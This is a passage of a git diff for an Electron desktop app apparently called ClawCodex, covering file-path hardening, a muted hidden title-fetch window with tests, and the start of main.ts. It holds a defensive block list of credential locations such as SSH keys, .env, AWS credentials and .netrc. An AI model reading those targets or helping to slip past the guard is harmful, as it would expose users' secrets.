+        'Set CLAWCODEX_DESKTOP_REMOTE_URL and CLAWCODEX_DESKTOP_REMOTE_TOKEN in your environment, or enable OS keychain access and try again.'
+    )
+  }
+
+  try {
+    return {
+      encoding: 'safeStorage',
+      value: safeStorageApi.encryptString(raw).toString('base64')
+    }
+  } catch (error) {
+    const detail = error instanceof Error && error.message ? ` (${error.message})` : ''
+    throw new Error(
+      `Failed to encrypt the remote gateway token for secure storage${detail}. ` +
+        'Set CLAWCODEX_DESKTOP_REMOTE_URL and CLAWCODEX_DESKTOP_REMOTE_TOKEN in your environment as a fallback.'
+    )
+  }
+}
+
+function sensitiveFileBlockReason(filePath) {
+  const normalized = String(filePath || '')
+    .replace(/\\/g, '/')
+    .toLowerCase()
+
+  const basename = path.basename(normalized)
+  const ext = path.extname(basename)
+
+  if (!basename) {
+    return null
+  }
+
+  if (normalized.includes('/.ssh/')) {
+    return 'SSH key/config files are blocked.'
+  }
+
+  if (normalized.includes('/.gnupg/')) {
+    return 'GPG key material is blocked.'
+  }
+
+  if (normalized.endsWith('/.aws/credentials')) {
+    return 'AWS credential files are blocked.'
+  }
+
+  if (basename === '.env') {
+    return '.env files are blocked because they commonly contain secrets.'
+  }
+
+  if (basename.startsWith('.env.')) {
+    const suffix = basename.slice('.env.'.length)
+
+    if (!SAFE_ENV_SUFFIXES.has(suffix)) {
+      return `${basename} is blocked because it appears to contain environment secrets.`
+    }
+  }
+
+  if (/^id_(rsa|dsa|ecdsa|ed25519)(?:\..+)?$/.test(basename) && !basename.endsWith('.pub')) {
+    return 'SSH private key files are blocked.'
+  }
+
+  if (SENSITIVE_EXTENSIONS.has(ext)) {
+    return `${ext} key/certificate files are blocked.`
+  }
+
+  if (basename === '.npmrc' || basename === '.netrc' || basename === '.pypirc') {
+    return `${basename} is blocked because it may include auth credentials.`
+  }
+
+  return null
+}
+
+function ipcPathError(code: any, message: string): Error & { code: any } {
+  const error = new Error(message) as Error & { code: any }
+
+  ;(error as any).code = code
+
+  return error
+}
+
+function rejectUnsafePathSyntax(filePath, purpose = 'File read') {
+  if (typeof filePath !== 'string') {
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
+  }
+
+  const raw = filePath.trim()
+
+  if (!raw) {
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is required.`)
+  }
+
+  if (raw.includes('\0')) {
+    throw ipcPathError('invalid-path', `${purpose} failed: file path is invalid.`)
+  }
+
+  const normalized = raw.replace(/\\/g, '/').toLowerCase()
+
+  if (
+    normalized.startsWith('//?/') ||
+    normalized.startsWith('//./') ||
+    normalized.startsWith('globalroot/device/') ||
+    normalized.includes('/globalroot/device/')
+  ) {
+    throw ipcPathError('device-path', `${purpose} blocked: Windows device paths are not allowed.`)
+  }
+
+  return raw
+}
+
+function resolveRequestedPathForIpc(filePath, options: { purpose?: string; baseDir?: fs.PathOrFileDescriptor } = {}) {
+  const purpose = String(options.purpose || 'File read')
+  let raw = rejectUnsafePathSyntax(filePath, purpose)
+
+  // Gateway-reported cwds (config `terminal.cwd`, remote sessions) routinely
+  // arrive as `~/...`. Node's fs has no shell — without expansion the path
+  // resolves under process.cwd() and every read "ENOENT"s forever.
+  if (raw === '~' || raw.startsWith('~/') || raw.startsWith('~\\')) {
+    raw = path.join(os.homedir(), raw.slice(1))
+  }
+
+  if (/^file:/i.test(raw)) {
+    let resolvedPath
+
+    try {
+      const parsed = new URL(raw)
+
+      if (parsed.protocol !== 'file:') {
+        throw new Error('not a file URL')
+      }
+
+      resolvedPath = fileURLToPath(parsed)
+    } catch {
+      throw ipcPathError('invalid-path', `${purpose} failed: file URL is invalid.`)
+    }
+
+    rejectUnsafePathSyntax(resolvedPath, purpose)
+
+    return path.resolve(resolvedPath)
+  }
+
+  const baseInput = typeof options.baseDir === 'string' && options.baseDir.trim() ? options.baseDir : process.cwd()
+  const safeBaseInput = rejectUnsafePathSyntax(baseInput, purpose)
+  const resolvedBase = path.resolve(safeBaseInput)
+  rejectUnsafePathSyntax(resolvedBase, purpose)
+  const resolvedPath = path.resolve(resolvedBase, raw)
+  rejectUnsafePathSyntax(resolvedPath, purpose)
+
+  return resolvedPath
+}
+
+async function statForIpc(fsImpl: { promises: { stat: typeof fs.promises.stat } }, resolvedPath, purpose, typeLabel) {
+  try {
+    return await fsImpl.promises.stat(resolvedPath)
+  } catch (error) {
+    const code = error && typeof error === 'object' ? error.code : ''
+
+    if (code === 'ENOENT' || code === 'ENOTDIR') {
+      throw ipcPathError(code || 'ENOENT', `${purpose} failed: ${typeLabel} does not exist.`)
+    }
+
+    throw ipcPathError(
+      code || 'read-error',
+      `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`
+    )
+  }
+}
+
+async function realpathForIpc(fsImpl, resolvedPath, purpose) {
+  if (typeof fsImpl.promises.realpath !== 'function') {
+    return resolvedPath
+  }
+
+  try {
+    const realPath = await fsImpl.promises.realpath(resolvedPath)
+    rejectUnsafePathSyntax(realPath, purpose)
+
+    return realPath
+  } catch (error) {
+    const code = error && typeof error === 'object' ? error.code : ''
+    throw ipcPathError(
+      code || 'read-error',
+      `${purpose} failed: ${error instanceof Error ? error.message : String(error)}`
+    )
+  }
+}
+
+function rejectSensitiveFilePath(filePath, purpose) {
+  const blockReason = sensitiveFileBlockReason(filePath)
+
+  if (blockReason) {
+    throw ipcPathError('sensitive-file', `${purpose} blocked for sensitive file: ${blockReason}`)
+  }
+}
+
+async function resolveDirectoryForIpc(
+  dirPath,
+  options: {
+    purpose?: string
+    baseDir?: fs.PathOrFileDescriptor
+    fs?: { promises: { stat: typeof fs.promises.stat } }
+  } = {}
+) {
+  const purpose = String(options.purpose || 'Directory read')
+  const fsImpl = options.fs || fs
+  const resolvedPath = resolveRequestedPathForIpc(dirPath, { baseDir: options.baseDir, purpose })
+  const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'directory')
+
+  if (!stat.isDirectory()) {
+    throw ipcPathError('ENOTDIR', `${purpose} failed: path is not a directory.`)
+  }
+
+  const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+
+  return { realPath, resolvedPath, stat }
+}
+
+async function resolveReadableFileForIpc(
+  filePath,
+  options: {
+    purpose?: string
+    baseDir?: fs.PathOrFileDescriptor
+    fs?: typeof fs
+    blockSensitive?: boolean
+    maxBytes?: number
+  } = {}
+) {
+  const purpose = String(options.purpose || 'File read')
+  const fsImpl = options.fs || fs
+  const resolvedPath = resolveRequestedPathForIpc(filePath, { baseDir: options.baseDir, purpose })
+
+  if (options.blockSensitive !== false) {
+    rejectSensitiveFilePath(resolvedPath, purpose)
+  }
+
+  const stat = await statForIpc(fsImpl, resolvedPath, purpose, 'file')
+
+  if (stat.isDirectory()) {
+    throw ipcPathError('EISDIR', `${purpose} failed: path points to a directory.`)
+  }
+
+  if (!stat.isFile()) {
+    throw ipcPathError('EINVAL', `${purpose} failed: only regular files can be read.`)
+  }
+
+  const realPath = await realpathForIpc(fsImpl, resolvedPath, purpose)
+
+  if (options.blockSensitive !== false) {
+    rejectSensitiveFilePath(realPath, purpose)
+  }
+
+  const maxBytes = Number.isFinite(options.maxBytes) && Number(options.maxBytes) > 0 ? Number(options.maxBytes) : null
+
+  if (maxBytes && stat.size > maxBytes) {
+    throw ipcPathError('EFBIG', `${purpose} failed: file is too large (${stat.size} bytes; limit ${maxBytes} bytes).`)
+  }
+
+  try {
+    await fsImpl.promises.access(resolvedPath, fs.constants.R_OK)
+  } catch {
+    throw ipcPathError('EACCES', `${purpose} failed: file is not readable.`)
+  }
+
+  return { realPath, resolvedPath, stat }
+}
+
+async function readFileDataUrlForIpc(
+  filePath,
+  options: {
+    purpose?: string
+    baseDir?: fs.PathOrFileDescriptor
+    fs?: typeof fs
+    blockSensitive?: boolean
+    maxBytes?: number
+    mimeType: string
+  }
+): Promise<string> {
+  const fsImpl = options.fs || fs
+  const { resolvedPath } = await resolveReadableFileForIpc(filePath, options)
+  const data = await fsImpl.promises.readFile(resolvedPath)
+
+  return `data:${options.mimeType};base64,${data.toString('base64')}`
+}
+
+export {
+  ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES,
+  clampDataUrlReadMaxMb,
+  DATA_URL_READ_DEFAULT_MAX_MB,
+  DATA_URL_READ_MAX_MAX_MB,
+  DATA_URL_READ_MIN_MAX_MB,
+  dataUrlReadMaxBytesFromMb,
+  DEFAULT_FETCH_TIMEOUT_MS,
+  encryptDesktopSecret,
+  readFileDataUrlForIpc,
+  rejectUnsafePathSyntax,
+  resolveDirectoryForIpc,
+  resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
+  resolveTimeoutMs,
+  sensitiveFileBlockReason,
+  TEXT_PREVIEW_SOURCE_MAX_BYTES
+}
diff --git a/ui-desktop/electron/link-title-window.test.ts b/ui-desktop/electron/link-title-window.test.ts
new file mode 100644
index 000000000..f81190f47
--- /dev/null
+++ b/ui-desktop/electron/link-title-window.test.ts
@@ -0,0 +1,130 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  createLinkTitleWindow,
+  guardLinkTitleSession,
+  linkTitleWindowOptions,
+  readLinkTitleWindowTitle
+} from './link-title-window'
+
+function makeFakeBrowserWindow() {
+  const calls = { audioMuted: [] }
+
+  const FakeBrowserWindow = function (options) {
+    this.options = options
+    this.webContents = {
+      setAudioMuted(value) {
+        calls.audioMuted.push(value)
+      }
+    }
+  }
+
+  return { FakeBrowserWindow, calls }
+}
+
+test('linkTitleWindowOptions keeps the offscreen, hardened defaults', () => {
+  const session = { id: 'link-titles' }
+  const options = linkTitleWindowOptions(session)
+
+  assert.equal(options.show, false)
+  assert.equal(options.webPreferences.session, session)
+  assert.equal(options.webPreferences.contextIsolation, true)
+  assert.equal(options.webPreferences.sandbox, true)
+  assert.equal(options.webPreferences.nodeIntegration, false)
+})
+
+test('createLinkTitleWindow mutes audio so historical links never autoplay sound', () => {
+  // Regression for #49505: the hidden title-fetch window loaded YouTube/watch
+  // URLs (to read their <title>) without muting, leaking ~2s of audio on every
+  // history re-render.
+  const { FakeBrowserWindow, calls } = makeFakeBrowserWindow()
+
+  const window = createLinkTitleWindow(FakeBrowserWindow, { id: 'link-titles' })
+
+  assert.ok(window instanceof FakeBrowserWindow)
+  assert.deepEqual(calls.audioMuted, [true])
+})
+
+test('createLinkTitleWindow still returns the window if muting throws', () => {
+  const ThrowingBrowserWindow = function (options) {
+    this.options = options
+    this.webContents = {
+      setAudioMuted() {
+        throw new Error('webContents unavailable')
+      }
+    }
+  }
+
+  const window = createLinkTitleWindow(ThrowingBrowserWindow, { id: 'link-titles' })
+
+  assert.ok(window instanceof ThrowingBrowserWindow)
+})
+
+test('guardLinkTitleSession cancels downloads triggered by the title-fetch window', () => {
+  let cancelled = false
+  const handlers = {}
+  guardLinkTitleSession({
+    on: (e, h) => {
+      handlers[e] = h
+    }
+  })
+  handlers['will-download'](null, {
+    cancel: () => {
+      cancelled = true
+    }
+  })
+  assert.ok(cancelled)
+})
+
+test('guardLinkTitleSession is a no-op when session.on throws', () => {
+  assert.doesNotThrow(() =>
+    guardLinkTitleSession({
+      on() {
+        throw new Error()
+      }
+    })
+  )
+})
+
+test('readLinkTitleWindowTitle returns empty for missing or destroyed windows', () => {
+  assert.equal(readLinkTitleWindowTitle(null), '')
+  assert.equal(readLinkTitleWindowTitle(undefined), '')
+  assert.equal(readLinkTitleWindowTitle({ isDestroyed: () => true }), '')
+})
+
+test('readLinkTitleWindowTitle returns empty when webContents is destroyed', () => {
+  const window = {
+    isDestroyed: () => false,
+    webContents: { isDestroyed: () => true, getTitle: () => 'Should Not Read' }
+  }
+
+  assert.equal(readLinkTitleWindowTitle(window), '')
+})
+
+test('readLinkTitleWindowTitle swallows getTitle throws after teardown', () => {
+  const window = {
+    isDestroyed: () => false,
+    webContents: {
+      isDestroyed: () => false,
+      getTitle: () => {
+        throw new Error('Object has been destroyed')
+      }
+    }
+  }
+
+  assert.equal(readLinkTitleWindowTitle(window), '')
+})
+
+test('readLinkTitleWindowTitle returns trimmed page title', () => {
+  const window = {
+    isDestroyed: () => false,
+    webContents: {
+      isDestroyed: () => false,
+      getTitle: () => 'Example Domain'
+    }
+  }
+
+  assert.equal(readLinkTitleWindowTitle(window), 'Example Domain')
+})
diff --git a/ui-desktop/electron/link-title-window.ts b/ui-desktop/electron/link-title-window.ts
new file mode 100644
index 000000000..226ac3ce6
--- /dev/null
+++ b/ui-desktop/electron/link-title-window.ts
@@ -0,0 +1,75 @@
+// Hidden BrowserWindow used by tier-2 link-title resolution: when curl can't
+// read a page <title> (bot walls, JS-rendered pages), we briefly load the URL
+// in an offscreen window and read its title. That window loads arbitrary
+// user-linked pages, so it must never emit sound or trigger real downloads.
+
+export function linkTitleWindowOptions(partitionSession) {
+  return {
+    show: false,
+    width: 1280,
+    height: 800,
+    webPreferences: {
+      // Deliberately throttled: this hidden window loads arbitrary user-linked
+      // pages, and an unthrottled heavy page burns full CPU for the window's
+      // whole lifetime. Title resolution rides load events
+      // (page-title-updated / did-finish-load) plus main-process timers, none
+      // of which the renderer clamp touches — hidden-page throttling only
+      // slows the page's own timer-driven JS, and the grace window already
+      // absorbs that.
+      contextIsolation: true,
+      javascript: true,
+      nodeIntegration: false,
+      sandbox: true,
+      session: partitionSession,
+      webSecurity: true
+    }
+  }
+}
+
+// Create the offscreen title-fetch window and immediately mute it. Without the
+// mute, autoplaying media on the loaded page (e.g. a YouTube link) leaks ~2s of
+// audio every time a session containing such links is re-rendered. See #49505.
+export function createLinkTitleWindow(BrowserWindow, partitionSession) {
+  const window = new BrowserWindow(linkTitleWindowOptions(partitionSession))
+
+  try {
+    window.webContents.setAudioMuted(true)
+  } catch {
+    // webContents may be unavailable in degraded/headless environments; muting
+    // is best-effort and the window is destroyed within a few seconds anyway.
+  }
+
+  return window
+}
+
+// Cancel any download the title-fetch window triggers. Without this, a link
+// artifact URL served with Content-Disposition: attachment auto-downloads every
+// time the Artifacts page renders and fetchLinkTitle loads it.
+export function guardLinkTitleSession(partitionSession) {
+  try {
+    partitionSession.on('will-download', (_event, item) => item.cancel())
+  } catch {
+    // best-effort; worst case is a spurious download
+  }
+}
+
+// Read the page title from a title-fetch window. Callers schedule this from
+// timers that can fire after finish() destroys the window, so every access must
+// guard isDestroyed and swallow Electron's "Object has been destroyed" throws.
+export function readLinkTitleWindowTitle(window) {
+  try {
+    if (!window || window.isDestroyed()) {
+      return ''
+    }
+
+    const contents = window.webContents
+
+    if (!contents || contents.isDestroyed()) {
+      return ''
+    }
+
+    return contents.getTitle() || ''
+  } catch {
+    return ''
+  }
+}
diff --git a/ui-desktop/electron/main-window-lifecycle.test.ts b/ui-desktop/electron/main-window-lifecycle.test.ts
new file mode 100644
index 000000000..4ca6f8cd3
--- /dev/null
+++ b/ui-desktop/electron/main-window-lifecycle.test.ts
@@ -0,0 +1,72 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { ensureMainWindow } from './main-window-lifecycle'
+
+test('recreates a destroyed primary window without focusing it', () => {
+  const destroyedWindow = {
+    isDestroyed: () => true
+  }
+
+  let createCalls = 0
+  let focusCalls = 0
+
+  ensureMainWindow(destroyedWindow, {
+    isReady: true,
+    createWindow: () => {
+      createCalls += 1
+    },
+    focusWindow: () => {
+      focusCalls += 1
+    }
+  })
+
+  assert.equal(createCalls, 1)
+  assert.equal(focusCalls, 0)
+})
+
+test('waits for app readiness before recreating a primary window', () => {
+  let createCalls = 0
+
+  ensureMainWindow(null, {
+    isReady: false,
+    createWindow: () => {
+      createCalls += 1
+    },
+    focusWindow: () => assert.fail('missing window must not be focused')
+  })
+
+  assert.equal(createCalls, 0)
+})
+
+test('focuses a live primary window for a normal second launch', () => {
+  const liveWindow = {
+    isDestroyed: () => false
+  }
+
+  let focusedWindow = null
+
+  ensureMainWindow(liveWindow, {
+    isReady: true,
+    createWindow: () => assert.fail('live window must not be replaced'),
+    focusWindow: window => {
+      focusedWindow = window
+    }
+  })
+
+  assert.equal(focusedWindow, liveWindow)
+})
+
+test('leaves live-window focus to deep-link delivery', () => {
+  const liveWindow = {
+    isDestroyed: () => false
+  }
+
+  ensureMainWindow(liveWindow, {
+    isReady: true,
+    createWindow: () => assert.fail('live window must not be replaced'),
+    focusWindow: () => assert.fail('deep-link delivery owns focus'),
+    focusExisting: false
+  })
+})
diff --git a/ui-desktop/electron/main-window-lifecycle.ts b/ui-desktop/electron/main-window-lifecycle.ts
new file mode 100644
index 000000000..d3edc3b05
--- /dev/null
+++ b/ui-desktop/electron/main-window-lifecycle.ts
@@ -0,0 +1,28 @@
+type MainWindowLike = {
+  isDestroyed: () => boolean
+}
+
+type EnsureMainWindowOptions<T extends MainWindowLike> = {
+  isReady: boolean
+  createWindow: () => unknown
+  focusWindow: (window: T) => unknown
+  focusExisting?: boolean
+}
+
+export function ensureMainWindow<T extends MainWindowLike>(
+  window: T | null | undefined,
+  { isReady, createWindow, focusWindow, focusExisting = true }: EnsureMainWindowOptions<T>
+) {
+  if (!window || window.isDestroyed()) {
+    // a closed electron window stays truthy, so replace it before invoking native methods.
+    if (isReady) {
+      createWindow()
+    }
+
+    return
+  }
+
+  if (focusExisting) {
+    focusWindow(window)
+  }
+}
diff --git a/ui-desktop/electron/main.ts b/ui-desktop/electron/main.ts
new file mode 100644
index 000000000..9a42c1756
--- /dev/null
+++ b/ui-desktop/electron/main.ts
@@ -0,0 +1,12038 @@
+import { execFile, execFileSync, spawn } from 'node:child_process'
+import crypto from 'node:crypto'
+import fs from 'node:fs'
+import http from 'node:http'
+import https from 'node:https'
+import os from 'node:os'
+import path from 'node:path'
+import tls from 'node:tls'
+import { pathToFileURL } from 'node:url'
+
+import {
+  app,
+  BrowserWindow,
+  clipboard,
+  dialog,
+  net as electronNet,
+  globalShortcut,
+  ipcMain,
+  Menu,
+  nativeImage,
+  nativeTheme,
+  Notification,
+  powerMonitor,
+  powerSaveBlocker,
+  protocol,
+  safeStorage,
+  screen,
+  session,
+  shell,
+  systemPreferences
+} from 'electron'
+import nodePty from 'node-pty'
+
+import { classifyActiveRuntime } from './active-runtime-state'
+import { stopBackendChild as stopBackendChildImpl } from './backend-child'
+import { dashboardFallbackArgs, sourceDeclaresServe } from './backend-command'
+import { createBackendConnectionState } from './backend-connection-state'
+import { buildDesktopBackendEnv, clawcodexManagedNodePathEntries, normalizeClawCodexHomeRoot } from './backend-env'
+import { isReauthRequiredError, waitForClawCodexReady } from './backend-health'
+import {
+  canImportClawCodexCli,
+  execProbeSync,
+  PROBE_TIMEOUT_MS,
+  shouldTrustClawCodexOverride,
+  verifyClawCodexCli
+} from './backend-probes'
+import { waitForDashboardPortAnnouncement } from './backend-ready'
+import { shouldLatchBackendStartFailure, shouldLatchRemoteReauthFailure } from './backend-start-failure'
+import { detectRemoteDisplay, isWindowsBinaryPathInWsl, isWslEnvironment } from './bootstrap-platform'
+import { decideBootstrapRepair } from './bootstrap-repair-guard'
+import { runBootstrap } from './bootstrap-runner'
+import { applyConnectionChange, resolveTerminalConnection } from './connection-apply'
+import {
+  authModeFromStatus,
+  buildGatewayWsUrl,
+  buildGatewayWsUrlWithTicket,
+  connectionScopeKey,
+  cookiesHaveLiveSession,
+  cookiesHavePrivySession,
+  cookiesHaveSession,
+  gatewayTicketFailure,
+  gatewayWsUrlIpcResult,
+  hostLabelFromBaseUrl,
+  localProfileEntry,
+  modeIsRemoteLike,
+  normalizeRemoteBaseUrl,
+  normalizeSshConfig,
+  normAuthMode,
+  pathWithGlobalRemoteProfile,
+  profileHasRemoteConnection,
+  profileRemoteOverride,
+  profileSshOverride,
+  resolveAuthMode,
+  resolveProfileBackendRoute,
+  resolveTestWsUrl,
+  savedProfileSsh,
+  tokenPreview
+} from './connection-config'
+import { describeCrashReason, installCrashForensics } from './crash-forensics'
+import { adoptServedDashboardToken } from './dashboard-token'
+import { loadOrCreateInstallationId, sshOwnershipId } from './desktop-installation'
+import {
+  buildPosixCleanupScript,
+  buildWindowsCleanupScript,
+  modeRemovesAgent,
+  modeRemovesUserData,
+  resolveRemovableAppPath,
+  shouldRemoveAppBundle,
+  uninstallArgsForMode
+} from './desktop-uninstall'
+import { describeDevCdpDecision, resolveDevCdpPort } from './dev-cdp'
+import { installEmbedReferer } from './embed-referer'
+import { createEventDeduper } from './event-dedupe'
+import { findGitBash as _findGitBash } from './find-git-bash'
+import { installFoundInPageForwarder, performFind, stopFind } from './find-in-page'
+import { createFirstRunSetupGate } from './first-run-setup-gate'
+import { readDirForIpc } from './fs-read-dir'
+import { probeGatewayWebSocket } from './gateway-ws-probe'
+import { scanGitRepos } from './git-repo-scan'
+import {
+  fileDiffVsHead,
+  repoStatus,
+  reviewCommit,
+  reviewCommitContext,
+  reviewCreatePr,
+  reviewDiff,
+  reviewList,
+  reviewPush,
+  reviewRevert,
+  reviewRevParse,
+  reviewShipInfo,
+  reviewStage,
+  reviewUnstage
+} from './git-review-ops'
+import { gitRootForIpc } from './git-root'
+import {
+  addWorktree,
+  listBaseBranches,
+  listBranches,
+  listWorktrees,
+  removeWorktree,
+  switchBranch
+} from './git-worktree-ops'
+import {
+  ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES,
+  clampDataUrlReadMaxMb,
+  DATA_URL_READ_DEFAULT_MAX_MB,
+  dataUrlReadMaxBytesFromMb,
+  DEFAULT_FETCH_TIMEOUT_MS,
+  encryptDesktopSecret as encryptDesktopSecretStrict,
+  readFileDataUrlForIpc,
+  resolveReadableFileForIpc,
+  resolveRequestedPathForIpc,
+  resolveTimeoutMs,
+  TEXT_PREVIEW_SOURCE_MAX_BYTES
+} from './hardening'
+import { createLinkTitleWindow, guardLinkTitleSession, readLinkTitleWindowTitle } from './link-title-window'
+import { ensureMainWindow } from './main-window-lifecycle'
+import {
+  oauthGuardMayHardFail,
+  oauthSessionIsLive,
+  resolveJsonBody,
+  resolveOauthRestAuth,
+  resolveReadinessProbeAuth
+} from './native-auth-decisions'
+import {
+  nativeRefreshUrl,
+  type NativeTokenSet,
+  parseTokenResponse,
+  resolveLoginStrategy,
+  tokenNeedsRefresh
+} from './native-oauth'
+import { runNativeLogin } from './native-oauth-login'
+import { loadNativeTokenSet, type NativeTokenStoreIo, persistNativeTokenSet } from './native-token-store'
+import { serializeJsonBody, setJsonRequestHeaders } from './oauth-net-request'
+import { createKeepAwake } from './power-save'
+import { FirstRunSetupResetError, runPrimaryBackendStartup } from './primary-backend-startup'
+import { rehomePrimaryConnection } from './primary-connection-rehome'
+import { decideProfileDeleteAction, profileNameFromDeleteRequest, resolveRouteProfile } from './profile-delete-routing'
+import { fetchPrimaryProfileSessions } from './profile-session-routing'
+import { createQuickEntryShortcut, quickEntryWindowBounds, sanitizeQuickEntrySettings } from './quick-entry'
+import { type ActiveWork, mergeActiveWork, normalizeActiveWork, quitPromptFor } from './quit-guard'
+import * as remoteLifecycle from './remote-lifecycle'
+import {
+  RemoteLivenessTracker,
+  RemoteRevalidationCoordinator,
+  revalidatePooledRemoteBackends,
+  revalidateRemoteConnection
+} from './remote-liveness'
+import {
+  buildSessionWindowUrl,
+  chatWindowWebPreferences,
+  createSessionWindowRegistry,
+  instanceWindowBounds,
+  SESSION_WINDOW_MIN_HEIGHT,
+  SESSION_WINDOW_MIN_WIDTH
+} from './session-windows'
+import { ensureSpawnHelperExecutable } from './spawn-helper-perms'
+import { createBootstrapCoordinator, sshConfigFingerprint } from './ssh-bootstrap-coordinator'
+import { collectSshConfigHosts, parseSshGOutput } from './ssh-config'
+import {
+  buildInteractiveSshArgs,
+  createSshProbeConnection,
+  pickLocalPort,
+  redactSecrets,
+  SshConnection
+} from './ssh-connection'
+import { createStreamThrottle } from './stream-throttle'
+import { nativeOverlayWidth as computeNativeOverlayWidth, macTitleBarOverlayHeight } from './titlebar-overlay-width'
+import { resolveBehindCount, shouldCountCommits } from './update-count'
+import { waitForUpdateClearance } from './update-gate'
+import { readLiveUpdateMarker, updateHandoffConflict, writeUpdateMarker } from './update-marker'
+import { runRebuildWithRetry } from './update-rebuild'
+import {
+  buildRelaunchScript,
+  collectRelaunchArgs,
+  collectRelaunchEnv,
+  decideRelaunchOutcome,
+  resolveUnpackedRelease,
+  sandboxFallbackFromEnv,
+  sandboxPreflight
+} from './update-relaunch'
+import { isOfficialSshRemote, OFFICIAL_REPO_HTTPS_URL } from './update-remote'
+import {
+  resolveStagedUpdaterBinary,
+  spawnUpdaterProcess,
+  stagedUpdaterSupportsPrewrittenMarker
+} from './updater-process'
+import { formatBlockerMessage, formatProbeFailedMessage, scanVenvBlockers } from './venv-blocker-scan'
+import { fetchMarketplaceThemes, searchMarketplaceThemes } from './vscode-marketplace'
+import { createWakeIndicatorWindowController } from './wake-indicator-window'
+import {
+  computeWindowOptions,
+  debounce,
+  sanitizeWindowState,
+  MIN_HEIGHT as WINDOW_MIN_HEIGHT,
+  MIN_WIDTH as WINDOW_MIN_WIDTH
+} from './window-state'
+import { hiddenWindowsChildOptions } from './windows-child-options'
+import {
+  buildPathExtCandidates,
+  chooseUpdaterArgs,
+  getVenvSitePackagesEntries,
+  resolveVenvClawCodexCommand
+} from './windows-clawcodex-path'
+import {
+  buildWindowsInteractiveCommand,
+  connectWindowsRemote,
+  detectRemotePlatform,
+  helper
+} from './windows-remote-lifecycle'
+import {
+  alreadyHasNoSandbox,
+  buildNoSandboxRelaunchArgs,
+  decideWindowsSandboxLaunch,
+  fallbackMarker,
+  grantAllApplicationPackagesAcl,
+  markerAfterSuccessfulBoot,
+  readSandboxMarker,
+  type SandboxFallbackReason,
+  shouldAttemptAclRepair,
+  shouldRelaunchForGpuSandboxCrash,
+  shouldRelaunchForRendererSandboxCrashLoop,
+  writeSandboxMarker
+} from './windows-sandbox-fallback'
+import { installWindowsSystemCaTrust } from './windows-system-ca'
+import { readWindowsUserEnvVar } from './windows-user-env'
+import { isPackagedInstallPath as isPackagedInstallPathUnderRoots } from './workspace-cwd'
+import { readWslWindowsClipboardImage } from './wsl-clipboard-image'
+import { resolvePickerDefaultPath } from './wsl-path-bridge'
+
+const USER_DATA_OVERRIDE = process.env.CLAWCODEX_DESKTOP_USER_DATA_DIR
+
+if (USER_DATA_OVERRIDE) {
+  const resolvedUserData = path.resolve(USER_DATA_OVERRIDE)
+  fs.mkdirSync(resolvedUserData, { recursive: true })
+  app.setPath('userData', resolvedUserData)
+}
+
+const DEV_SERVER = process.env.CLAWCODEX_DESKTOP_DEV_SERVER
+const IS_PACKAGED = app.isPackaged || Boolean(process.env.CLAWCODEX_DESKTOP_IS_PACKAGED)
+const IS_MAC = process.platform === 'darwin'
+const IS_WINDOWS = process.platform === 'win32'
+const IS_WSL = isWslEnvironment()
+// Truthful macOS kernel major (Tahoe = 25). Product version lies (16 vs 26) per
+// build SDK, so gate Tahoe workarounds on Darwin instead.
+const DARWIN_MAJOR = IS_MAC ? Number.parseInt(os.release(), 10) || 0 : 0
+const APP_ROOT = app.getAppPath()
+
+// Preload must be plain JS — Electron's sandbox can't run .ts, and tsx's
+// ESM loader is broken on Electron 40's Node (ERR_INVALID_RETURN_PROPERTY_VALUE).
+// Dev (`npm run dev`) and prod both load the esbuild output from dist/.
+const PRELOAD_PATH = path.join(APP_ROOT, 'dist', 'electron-preload.js')
+
+// Remote displays (SSH X11 forwarding, VNC, RDP) make Chromium's GPU
+// compositor flicker — accelerated layers can't be presented cleanly over the
+// wire, so the window flashes during scroll/streaming/animation. Local
+// Windows/macOS (and WSLg, which renders locally via vGPU) composite on the
+// GPU and never see it. Fall back to software rendering when a remote display
+// is detected; it's rock-steady over the wire and the CPU cost is negligible
+// next to the connection's latency. Must run before app `ready` — these
+// switches only apply pre-launch. Override with CLAWCODEX_DESKTOP_DISABLE_GPU
+// (1/true → always disable, 0/false → keep GPU on).
+const REMOTE_DISPLAY_REASON = detectRemoteDisplay()
+
+if (REMOTE_DISPLAY_REASON) {
+  app.disableHardwareAcceleration()
+  // Belt-and-suspenders for X11/VNC, where the Viz compositor can still glitch
+  // with only --disable-gpu: force compositing onto the CPU too.
+  app.commandLine.appendSwitch('disable-gpu-compositing')
+  console.log(
+    `[clawcodex] remote display detected (${REMOTE_DISPLAY_REASON}); disabling GPU hardware acceleration to prevent flicker`
+  )
+}
+
+// Renderer debugging port. On for dev-server runs (`hgui` / `npm run dev`) so
+// the CDP tooling in scripts/ can attach; never for a packaged build — see
+// electron/dev-cdp.ts. Must run before app `ready` like the switches above;
+// Chromium binds it at launch.
+const DEV_CDP = resolveDevCdpPort({ env: process.env, isPackaged: IS_PACKAGED, devServer: DEV_SERVER })
+
+if (DEV_CDP.port) {
+  app.commandLine.appendSwitch('remote-debugging-port', String(DEV_CDP.port))
+  // Loopback only. Chromium already defaults to 127.0.0.1, but say it out loud
+  // so a future edit can't widen it by omission.
+  app.commandLine.appendSwitch('remote-debugging-address', '127.0.0.1')
+  console.log(
+    `[clawcodex] renderer debugging on http://127.0.0.1:${DEV_CDP.port} — anything that can reach it ` +
+      'can run code in the renderer. CLAWCODEX_DESKTOP_CDP_PORT=off to disable.'
+  )
+} else {
+  const why = describeDevCdpDecision(DEV_CDP)
+
+  if (why) {
+    console.warn(`[clawcodex] ${why}`)
+  }
+}
+
+// WSLg: Chromium blocklists the Mesa vGPU → software compositing → typing lag.
+// /dev/dxg means a real GPU is available; un-blocklist it. Skipped when a remote
+// display already forced software (SSH'd-into-WSL).
+if (IS_WSL && !REMOTE_DISPLAY_REASON && fs.existsSync('/dev/dxg')) {
+  app.commandLine.appendSwitch('ignore-gpu-blocklist')
+  app.commandLine.appendSwitch('enable-gpu-rasterization')
+  app.commandLine.appendSwitch('enable-zero-copy')
+  console.log('[clawcodex] WSL GPU passthrough (/dev/dxg) detected; enabling GPU acceleration')
+}
+
